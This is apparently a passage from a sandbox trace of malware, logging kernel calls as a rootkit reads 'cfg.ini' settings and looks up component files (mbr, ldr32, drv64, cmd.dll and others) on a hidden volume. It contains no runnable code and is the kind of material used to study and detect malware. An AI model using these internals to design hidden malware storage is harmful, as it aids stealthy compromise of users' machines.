_Dest="0d24eb7c\\cfg.ini") returned 16 [0124.462] KeEnterCriticalRegion () [0124.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.462] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.462] KeLeaveCriticalRegion () [0124.462] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.462] KeEnterCriticalRegion () [0124.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.463] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.463] IdePortDispatch () returned 0x103 [0124.463] KeWaitForMutexObject () returned 0x0 [0124.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.463] KeLeaveCriticalRegion () [0124.463] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.463] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.463] KeEnterCriticalRegion () [0124.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800355c000 [0124.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.463] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.463] IdePortDispatch () returned 0x103 [0124.463] KeWaitForMutexObject () returned 0x0 [0124.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.463] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.463] IdePortDispatch () returned 0x103 [0124.464] KeWaitForMutexObject () returned 0x0 [0124.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.464] KeLeaveCriticalRegion () [0124.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.464] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.464] KeEnterCriticalRegion () [0124.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.464] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.464] KeLeaveCriticalRegion () [0124.464] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.464] KeEnterCriticalRegion () [0124.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.464] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.464] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.464] KeLeaveCriticalRegion () [0124.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.464] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.464] KeEnterCriticalRegion () [0124.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.464] ExFreePoolWithTag (P=0xfffffa8003beef10, Tag=0x0) [0124.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.464] KeLeaveCriticalRegion () [0124.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.465] ReleaseMutex (hMutex=0xf0) returned 1 [0124.465] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.465] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.465] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.465] KeEnterCriticalRegion () [0124.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.465] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.465] IdePortDispatch () returned 0x103 [0124.465] KeWaitForMutexObject () returned 0x0 [0124.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.465] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.465] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.465] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.465] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.465] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf01e0 [0124.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.465] KeLeaveCriticalRegion () [0124.465] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.465] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.465] KeEnterCriticalRegion () [0124.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.465] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.465] KeLeaveCriticalRegion () [0124.465] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.465] KeEnterCriticalRegion () [0124.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.465] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.465] IdePortDispatch () returned 0x103 [0124.466] KeWaitForMutexObject () returned 0x0 [0124.466] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.466] KeLeaveCriticalRegion () [0124.466] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.466] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.466] KeEnterCriticalRegion () [0124.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.466] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800355d000 [0124.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.466] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.466] IdePortDispatch () returned 0x103 [0124.466] KeWaitForMutexObject () returned 0x0 [0124.466] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.466] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.466] IdePortDispatch () returned 0x103 [0124.466] KeWaitForMutexObject () returned 0x0 [0124.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.466] KeLeaveCriticalRegion () [0124.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.467] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.467] KeEnterCriticalRegion () [0124.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.467] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.467] KeLeaveCriticalRegion () [0124.467] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.467] KeEnterCriticalRegion () [0124.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.467] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.467] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.467] KeLeaveCriticalRegion () [0124.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.467] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.467] KeEnterCriticalRegion () [0124.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.467] ExFreePoolWithTag (P=0xfffffa8003bf01e0, Tag=0x0) [0124.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.467] KeLeaveCriticalRegion () [0124.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.467] ReleaseMutex (hMutex=0xf0) returned 1 [0124.467] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.467] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.467] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.468] KeEnterCriticalRegion () [0124.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.468] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.468] IdePortDispatch () returned 0x103 [0124.468] KeWaitForMutexObject () returned 0x0 [0124.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.468] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.468] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.468] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.468] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.468] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef940 [0124.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.468] KeLeaveCriticalRegion () [0124.468] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.468] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.468] KeEnterCriticalRegion () [0124.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.468] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.468] KeLeaveCriticalRegion () [0124.468] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.468] KeEnterCriticalRegion () [0124.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.468] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.468] IdePortDispatch () returned 0x103 [0124.469] KeWaitForMutexObject () returned 0x0 [0124.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.469] KeLeaveCriticalRegion () [0124.469] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.469] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.469] KeEnterCriticalRegion () [0124.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.469] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800355e000 [0124.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.469] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.469] IdePortDispatch () returned 0x103 [0124.469] KeWaitForMutexObject () returned 0x0 [0124.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.469] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.469] IdePortDispatch () returned 0x103 [0124.469] KeWaitForMutexObject () returned 0x0 [0124.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.469] KeLeaveCriticalRegion () [0124.469] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.470] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.470] KeEnterCriticalRegion () [0124.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.470] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.470] KeLeaveCriticalRegion () [0124.470] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.470] KeEnterCriticalRegion () [0124.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.470] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.470] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.470] KeLeaveCriticalRegion () [0124.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.470] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.470] KeEnterCriticalRegion () [0124.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.470] ExFreePoolWithTag (P=0xfffffa8003bef940, Tag=0x0) [0124.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.470] KeLeaveCriticalRegion () [0124.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.470] ReleaseMutex (hMutex=0xf0) returned 1 [0124.470] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.470] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.470] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.470] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.470] KeEnterCriticalRegion () [0124.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.470] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.471] IdePortDispatch () returned 0x103 [0124.471] KeWaitForMutexObject () returned 0x0 [0124.471] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.471] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.471] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.471] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.471] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.471] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.471] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.471] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.471] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.471] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.471] KeLeaveCriticalRegion () [0124.471] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.471] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.471] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.471] KeEnterCriticalRegion () [0124.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.471] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.471] IdePortDispatch () returned 0x103 [0124.471] KeWaitForMutexObject () returned 0x0 [0124.471] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.472] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.472] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.472] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.472] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.472] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.472] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.472] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.472] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.472] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.472] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.472] _strnicmp (_Str1="", _Str="lsash.xp", 